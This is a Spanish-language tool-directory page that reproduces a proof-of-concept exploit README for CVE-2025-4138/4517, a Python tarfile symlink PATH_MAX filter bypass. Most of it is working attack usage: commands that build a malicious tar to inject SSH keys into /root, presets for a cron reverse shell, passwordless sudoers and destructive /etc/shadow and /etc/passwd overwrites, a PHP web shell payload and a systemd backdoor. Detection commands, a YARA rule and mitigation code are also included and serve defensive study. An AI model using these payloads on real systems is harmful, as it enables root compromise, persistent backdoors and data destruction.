Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-4138-4517-POC — CVE-2025-4138 / CVE-2025-4517 — Bypass del filtro de Symlink PATH_MAX en Python tarfile | Kitploit
Herramientas/GitHubGitHub/desertdemons/cve-2025-4138-4517-poc
Escalada de PrivilegiosGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónExplotación de Binarios
GitHubdesertdemons/cve-2025-4138-4517-poc

CVE-2025-4138-4517-POC

CVE-2025-4138 / CVE-2025-4517 — Bypass del filtro de Symlink PATH_MAX en Python tarfile

Ver Repositorio
172hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-4138 CVE-2025-4517 CVSS 9.4 Python Affected

CVE-2025-4138 / CVE-2025-4517
Omisión del filtro de Python tarfile mediante escape de enlace simbólico PATH_MAX

Escritura arbitraria de archivos mediante extracción con filter="data" / filter="tar"

Type CWE-22 Platform Language License Stars Forks Last Commit


Tabla de contenidos

  • Resumen
  • Detalles de la vulnerabilidad
  • Cómo funciona
  • Versiones afectadas
  • Patrón de código afectado
  • Instalación
  • Uso
    • Inicio rápido — Inyección de claves SSH
    • Ataques predefinidos
    • Objetivo personalizado
  • Prueba de concepto — Verificación segura
  • Análisis técnico en profundidad
    • PATH_MAX y os.path.realpath()
    • Construcción de la cadena de enlaces simbólicos
    • Mecanismo de omisión del filtro
    • Etapas de explotación
  • Escenarios de ataque en el mundo real
  • Detección
  • Mitigación
  • CVEs relacionados
  • Cronología
  • Referencias
  • Créditos
  • Descargo de responsabilidad
  • Licencia

Resumen

Una vulnerabilidad crítica en el módulo tarfile de Python permite a un atacante omitir los filtros de extracción ("data" y "tar") y escribir archivos arbitrarios fuera del directorio de extracción previsto. Cuando un proceso privilegiado (p. ej., un script de copia de seguridad de nivel root, un pipeline de CI/CD o un instalador de paquetes) extrae un archivo tar controlado por el atacante usando el parámetro supuestamente seguro filter="data", este exploit consigue escritura arbitraria completa de archivos como ese usuario privilegiado — normalmente escalando a root.

La causa raíz es una peculiaridad de comportamiento en os.path.realpath(): deja de resolver silenciosamente los enlaces simbólicos una vez que la ruta completamente expandida supera PATH_MAX (4096 bytes en Linux, 1024 en macOS). El filtro de tarfile se basa en realpath() para las comprobaciones de seguridad, pero el kernel resuelve los enlaces simbólicos de forma independiente durante la extracción, lo que crea una brecha TOCTOU (Time-of-Check-to-Time-of-Use) que permite escapar del directorio.


Detalles de la vulnerabilidad


Cómo funciona```

root@kitploit:~
                ┌───────────────────────────────────────────┐
                │         Malicious Tar Structure            │
                └───────────────────────────────────────────┘

Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX

root@kitploit:~
ddd...ddd/              (directory, 247 chars)
a  →  ddd...ddd         (symlink,   1 char name → 247 char dir)
ddd...ddd/ddd...ddd/    (nested directory)
b  →  ddd...ddd         (symlink)
...  ×16 levels

Short path (symlinks):   a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p       ~31 chars
Resolved path (dirs):    ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/…      ~3968 chars
                                                           ↑ nearing PATH_MAX

Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving

root@kitploit:~
a/b/c/…/p/lll…lll  →  ../../../../../../../../../../../../../../../../..
                        (16 levels of ".." — traverses back to extraction root)

┌─────────────────────────────────────────────────────────────────┐
│  os.path.realpath()  CANNOT expand this  →  filter says "OK" ✓ │
│  Linux kernel         DOES follow chain  →  actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘

Stage 3 ── Escape symlink resolves to arbitrary filesystem path

root@kitploit:~
escape  →  <overflow_link>/../../../../../../../root

Stage 4 ── Create intermediate directories through the escape

root@kitploit:~
escape/.ssh/            (directory, mode 0700 — created by tar extraction)

Stage 5 ── Write payload through the escaped symlink

root@kitploit:~
escape/.ssh/authorized_keys  →  writes to /root/.ssh/authorized_keys  🔓
root@kitploit:~
---

## Versiones Afectadas

| Rama de Python | Rango Vulnerable | Versión Corregida | Estado |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ Corregido |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ Corregido |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ Corregido |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ Corregido |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ Corregido |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ Fin de vida útil |
| 3.14+ | Filtro predeterminado cambiado a `"data"` | Consultar la última versión | ⚠️ Mayor exposición |

> **Nota:** Python 3.14+ cambió el parámetro `filter` predeterminado de sin filtrado a `"data"`, lo que significa que las aplicaciones que anteriormente no tenían filtro (y por lo tanto ya eran inseguras) ahora usan el filtro vulnerable por defecto.

---

## Patrón de Código Afectado

Cualquier aplicación que haga esto en una versión vulnerable de Python es explotable:```python
import tarfile

# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")

# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="tar")

Casos frecuentes en el mundo real:

  • Scripts de copia de seguridad/restauración ejecutándose como root
  • Pipelines de CI/CD extrayendo artefactos de compilación
  • Gestores de paquetes e instaladores procesando distribuciones .tar
  • Aplicaciones web que aceptan archivos subidos por el usuario
  • Herramientas de gestión de configuración que extraen paquetes de despliegue

Instalación```bash

git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC

No dependencies — uses only Python standard library

python3 exploit.py --help

root@kitploit:~
**Requisitos:** Python 3.6+ (para la creación del archivo — el **objetivo** debe ejecutar una versión vulnerable)

---

## Uso

### Inicio rápido — Inyección de clave SSH```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub   # verify key was created

# 2. Create the malicious tar archive
python3 exploit.py \
    --preset ssh-key \
    --payload ~/.ssh/id_ed25519.pub \
    --tar-out ./evil.tar

# 3. Deliver the tar and trigger privileged extraction
#    (method varies — backup script, upload endpoint, CI pipeline, etc.)
#    Example: sudo python3 vulnerable_app.py --extract evil.tar

# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target

Importante: El exploit crea automáticamente los directorios intermedios (p. ej., /root/.ssh/) dentro del archivo tar. Si el directorio de destino no existe en el sistema de archivos, extractall() lo creará durante la extracción.

Ataques preestablecidos

Reverse shell via cron (every minute)

python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar

Passwordless sudo for user "john"

python3 exploit.py --preset sudoers --extra john --tar-out evil.tar

SSH key with custom file mode

python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub
--mode 0600 --tar-out evil.tar

root@kitploit:~
### Objetivo personalizado

Escribe cualquier contenido en cualquier ruta absoluta del sistema de archivos del objetivo:```bash
# Overwrite MOTD
python3 exploit.py \
    --target /etc/motd \
    --payload "Authorized access only." \
    --mode 0644 \
    --tar-out evil.tar

# Plant a web shell
python3 exploit.py \
    --target /var/www/html/shell.php \
    --payload '<?php system($_GET["cmd"]); ?>' \
    --mode 0644 \
    --tar-out evil.tar

# Overwrite a systemd service for persistence
python3 exploit.py \
    --target /etc/systemd/system/backdoor.service \
    --payload backdoor.service \
    --mode 0644 \
    --tar-out evil.tar

Prueba de Concepto — Verificación Segura

Compruebe si un sistema es vulnerable sin tocar archivos sensibles:```bash

1. Create isolated test environment

mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract echo "original_content" > /tmp/cve_test/flag/testfile

2. Generate PoC tar targeting the test file

python3 exploit.py
--target /tmp/cve_test/flag/testfile
--payload "OVERWRITTEN_BY_CVE-2025-4138"
--tar-out /tmp/cve_test/poc.tar

3. Extract with filter="data" (simulating a vulnerable application)

python3 -c " import tarfile tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall( '/tmp/cve_test/extract', filter='data' ) "

4. Check result

cat /tmp/cve_test/flag/testfile

Vulnerable: "OVERWRITTEN_BY_CVE-2025-4138"

Patched: "original_content" (extraction raises error)

5. Cleanup

rm -rf /tmp/cve_test

root@kitploit:~
### Comprobación rápida de versión```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
    (v.minor == 12 and v.micro <= 10) or
    (v.minor == 13 and v.micro <= 3) or
    (v.minor == 11 and 4 <= v.micro <= 12) or
    (v.minor == 10 and 12 <= v.micro <= 17) or
    (v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"

Análisis técnico en profundidad

PATH_MAX y os.path.realpath()

En Linux, PATH_MAX se define como 4096 bytes. En macOS, es de 1024 bytes. Cuando os.path.realpath() resuelve una ruta componente a componente y la ruta resuelta acumulada supera este límite, deja de resolver silenciosamente los componentes restantes y los añade como cadenas literales.``` os.path.realpath() behavior:

Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh │ ├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes) └── unresolved tail: /../../../../root/.ssh ↑ appended literally!

Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh │ │ └── Starts with /extract/ → filter says "OK" ✓ │ └── But the ../ is real!

root@kitploit:~
Este es un comportamiento **documentado** de `realpath()`, pero la implementación del filtro de tarfile no lo tuvo en cuenta.

### Construcción de la cadena de symlinks

Cada nivel de la cadena consta de:

| Entrada | Tipo | Longitud del nombre | Propósito |
|:--|:--|:--|:--|
| Directorio | `DIRTYPE` | 247 caracteres (Linux) / 55 caracteres (macOS) | El nombre largo infla la ruta resuelta |
| Symlink | `SYMTYPE` | 1 carácter (`a`, `b`, …, `p`) | Alias corto para el directorio largo |

Después de 16 niveles:

| Métrica | Valor |
|:--|:--|
| **Ruta corta** (vía symlinks) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31 caracteres |
| **Ruta resuelta** (vía directorios) | `ddd…/ddd…/ddd…/…` ≈ **3968 caracteres** |
| **PATH_MAX** | 4096 bytes |
| **Presupuesto restante** | ~128 bytes — no es suficiente para el payload de traversal |

### Mecanismo de bypass del filtro

El `data_filter` del módulo tarfile de Python realiza esta comprobación:```python
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
    target = os.path.realpath(os.path.join(dest_path, member.linkname))
    if not target.startswith(dest_path):
        raise FilterError("link would escape destination")

La vulnerabilidad:

  1. realpath() recibe: /extract/a/b/c/.../p/lll.../../../../../root/.ssh
  2. realpath() resuelve la porción a/b/c/.../p a través de la cadena de enlaces simbólicos → 3968+ bytes
  3. PATH_MAX superado → el resto ../../../../root/.ssh se añade literalmente
  4. Resultado: /extract/ddd…(3968 chars)…/../../../../root/.ssh
  5. Comprobación del filtro: comienza con /extract/ → pasa ✓
  6. Extracción por el kernel: sigue los enlaces simbólicos reales → resuelve ../ normalmente → escapa a /root
  7. Creación de directorio: escape/.ssh se extrae como directorio → crea /root/.ssh/ (modo 0700)

Etapas de explotación```

┌────────────────────────────────────────────────────────────────────────┐ │ EXPLOIT PIPELINE │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ Stage 1: PATH_MAX Inflation │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │ │ └─────────┘ └─────────┘ └─────────┘ │ │ Resolved path accumulates to ~3968 bytes │ │ │ │ Stage 2: Pivot Symlink (exceeds PATH_MAX) │ │ ┌──────────────────────────────────────────┐ │ │ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │ │ └──────────────────────────────────────────┘ │ │ realpath() cannot resolve → filter is blind │ │ │ │ Stage 3: Escape Symlink │ │ ┌──────────────────────────────────────────┐ │ │ │ escape → /../../../../<target_root>│ │ │ └──────────────────────────────────────────┘ │ │ Points to the target's top-level parent (e.g. /root) │ │ │ │ Stage 4: Create Intermediate Directories │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh (DIRTYPE, mode 0700) │ │ │ └──────────────────────────────────────────┘ │ │ Ensures parent dirs exist (e.g. /root/.ssh) — critical │ │ for targets where the parent directory may not exist │ │ │ │ Stage 5: Payload Write │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh/authorized_keys = payload │ │ │ └──────────────────────────────────────────┘ │ │ File is written through the escaped symlink as the │ │ process owner (typically root) │ │ │ └────────────────────────────────────────────────────────────────────────┘

root@kitploit:~
---

## Escenarios de Ataque del Mundo Real

### 1. Restauración de Copias de Seguridad con Privilegios

Un script de copia de seguridad que se ejecuta como root extrae archivos tar proporcionados por el usuario:```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")

Impacto: Un atacante suministra una copia de seguridad maliciosa → escribe una clave SSH en /root/.ssh/authorized_keys → obtiene una shell root.

2. Extracción de artefactos del pipeline de CI/CD

Un sistema de compilación extrae artefactos de fuentes no confiables:```python

Jenkins/GitLab runner extracting build output

tar.extractall(path=workspace_dir, filter="data")

root@kitploit:~
**Impacto:** El artefacto malicioso escapa del espacio de trabajo → sobrescribe la configuración de CI → logra ejecución de código en la infraestructura de compilación.

### 3. Procesamiento de subida de aplicaciones web

Una aplicación web acepta y extrae subidas de archivos tar:```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")

Impacto: Un atacante remoto sube un tar manipulado → escribe una web shell en el document root → consigue RCE.

4. Instalación de paquetes

Gestores de paquetes de Python que extraen distribuciones de código fuente:```python

pip/setuptools extracting sdist

tar.extractall(path=build_dir, filter="data")

root@kitploit:~
**Impacto:** Un paquete PyPI malicioso escapa del directorio de compilación → modifica archivos del sistema.

---

## Detección

### Indicadores de compromiso

Monitoree estos patrones que pueden indicar explotación:```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
    xargs -I{} readlink {} | grep -c "^d\{200,\}"

# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/

# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape

Regla YARA```yara

rule CVE_2025_4138_Malicious_Tar { meta: description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass" cve = "CVE-2025-4138" severity = "critical" strings: $long_dir = /d{240,250}// ascii $chain = /[a-p]/[a-p]/[a-p]/[a-p]/ ascii $pad = /l{250,}/ ascii $traversal = "../../../" ascii condition: uint16(0) == 0x0000 and $long_dir and $chain and ($pad or #traversal > 8) }

root@kitploit:~
---

## Mitigación

### 1. Actualizar Python (Recomendado)```bash
# Check current version
python3 -c "import sys; print(sys.version)"

# Upgrade to patched version:
#   3.9.23+  |  3.10.18+  |  3.11.13+  |  3.12.11+  |  3.13.4+

2. Validación previa a la extracción (Solución alternativa)

Si no es posible una actualización inmediata:```python import pathlib import tarfile

def safe_extract(tar_path: str, dest: str) -> None: """Extract tar archive with CVE-2025-4138 mitigation.""" with tarfile.open(tar_path, "r") as tar: for member in tar.getmembers(): # Block symlinks with traversal in link targets if member.linkname: parts = pathlib.PurePosixPath(member.linkname).parts if ".." in parts: raise ValueError( f"Blocked: '{member.name}' has traversal " f"in linkname: '{member.linkname}'" ) # Block absolute symlink targets if member.issym() and member.linkname.startswith("/"): raise ValueError( f"Blocked: '{member.name}' has absolute " f"symlink target: '{member.linkname}'" ) # Re-open to reset iterator tar.extractall(path=dest, filter="data")

root@kitploit:~
### 3. Extracción en sandbox```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
    mount -t tmpfs tmpfs /mnt
    python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
    "
'

4. Herramientas alternativas de extracción```bash

Use GNU tar instead of Python tarfile

tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/

root@kitploit:~
---

## CVEs relacionadas

| CVE | Descripción | Severidad |
|:--|:--|:--|
| **CVE-2025-4138** | Evasión del filtro de destino del symlink mediante desbordamiento de PATH_MAX | Crítica |
| **CVE-2025-4517** | Escritura arbitraria de archivos mediante desbordamiento de realpath (misma causa raíz) | Crítica |
| **CVE-2025-4330** | Path traversal mediante symlink que omite los filtros de extracción | Alta |
| **CVE-2024-12718** | Modificación de metadatos de archivo fuera del directorio de extracción | Alta |
| **CVE-2025-4435** | Los archivos filtrados aún se extraen cuando `errorlevel=0` | Media |
| **CVE-2007-4559** | Path traversal original de tarfile (era sin filtros) | Alta |

Todas fueron abordadas en [CPython Issue #135034](https://github.com/python/cpython/issues/135034) y [PR #135037](https://github.com/python/cpython/pull/135037).

---

## Cronología

| Fecha | Evento |
|:--|:--|
| 2025-04-30 | Vulnerabilidad reportada al Python Security Response Team |
| 2025-06-02 | Issue público abierto — [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | Corrección fusionada — [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | Publicado el [Anuncio de Seguridad de PSF](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) |
| 2025-06-03 | Versiones parcheadas: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | Aviso de CERT-FR [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | Aviso de Google Security Research [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | Divulgación completa |

---

## Referencias

- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — Aviso de Google Security Research y PoC original
- [CPython Issue #135034](https://github.com/python/cpython/issues/135034) — Informe de error upstream
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) — Commit de la corrección
- [Anuncio de Seguridad de PSF](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — Aviso oficial
- [Gist de mitigación de Seth Larson](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — Script de mitigación rápida
- [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [Documentación de los filtros de extracción de `tarfile` en Python](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [Página de manual de `realpath(3)` de Linux](https://man7.org/linux/man-pages/man3/realpath.3.html) — Comportamiento de PATH_MAX

---

## Créditos

- **Descubrimiento de la vulnerabilidad:** [Caleb Brown](https://github.com/calebbrown) — Google Security Research
- **Autores del parche:** Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
- **Este PoC:** [DesertDemon](https://github.com/DesertDemons)

---

## Descargo de responsabilidad

> **⚠️ Esta herramienta se proporciona estrictamente para pruebas de seguridad autorizadas, investigación y fines educativos.**
>
> El acceso no autorizado a sistemas informáticos es ilegal según la Computer Fraud and Abuse Act (CFAA), la Computer Misuse Act y la legislación equivalente en todo el mundo. Obtenga siempre autorización explícita por escrito antes de probar cualquier sistema que no sea de su propiedad.
>
> El autor no asume ninguna responsabilidad por el mal uso de este software. Al usar esta herramienta, usted acepta que es el único responsable de sus acciones y que cumplirá con todas las leyes aplicables.

---

**Etiquetas:** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos`

## Licencia

Este proyecto está licenciado bajo la [Licencia MIT](https://github.com/desertdemons/cve-2025-4138-4517-poc/blob/HEAD/LICENSE).

---

<p align="center">
  <sub>
    🔐 Si te resulta útil, considera darle una estrella al repositorio<br>
    📫 Para consultas de divulgación responsable, abre un issue o contacta vía GitHub
  </sub>
</p>
Descargar herramienta
CampoValor
CVE IDsCVE-2025-4138, CVE-2025-4517
CVSS v3.19.4 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CWECWE-22 — Limitación incorrecta de una ruta a un directorio restringido
Tipo de vulnerabilidadRecorrido de directorios mediante enlaces simbólicos / Omisión del filtro
ImpactoEscritura arbitraria de archivos → escalada de privilegios, escape de sandbox, manipulación de datos
Vector de ataqueEntregar un archivo tar malicioso a cualquier aplicación que utilice tarfile.extractall() con filtros
AfectadosPython 3.12.0 – 3.12.10, 3.13.0 – 3.13.3
Corregido enPython 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4
ParcheCPython PR #135037
AvisoGHSA-hgqp-3mmf-7h8f
InformadorCaleb Brown — Google Security Research
PreajusteArchivo objetivoDescripciónParámetro --extra
ssh-key/root/.ssh/authorized_keysInyecta la clave pública SSH para el inicio de sesión de root—
cron/etc/cron.d/pwnedColoca un trabajo cron de shell inversa como rootDirección IP de LHOST
sudoers/etc/sudoers.d/pwnedAñade regla sudo NOPASSWD para un usuarioNombre de usuario
shadow/etc/shadowSobrescribe el archivo shadow (⚠️ destructivo)—
passwd/etc/passwdSobrescribe el archivo passwd (⚠️ destructivo)—
  • Escritura del payload: escape/.ssh/authorized_keys → escribe en /root/.ssh/authorized_keys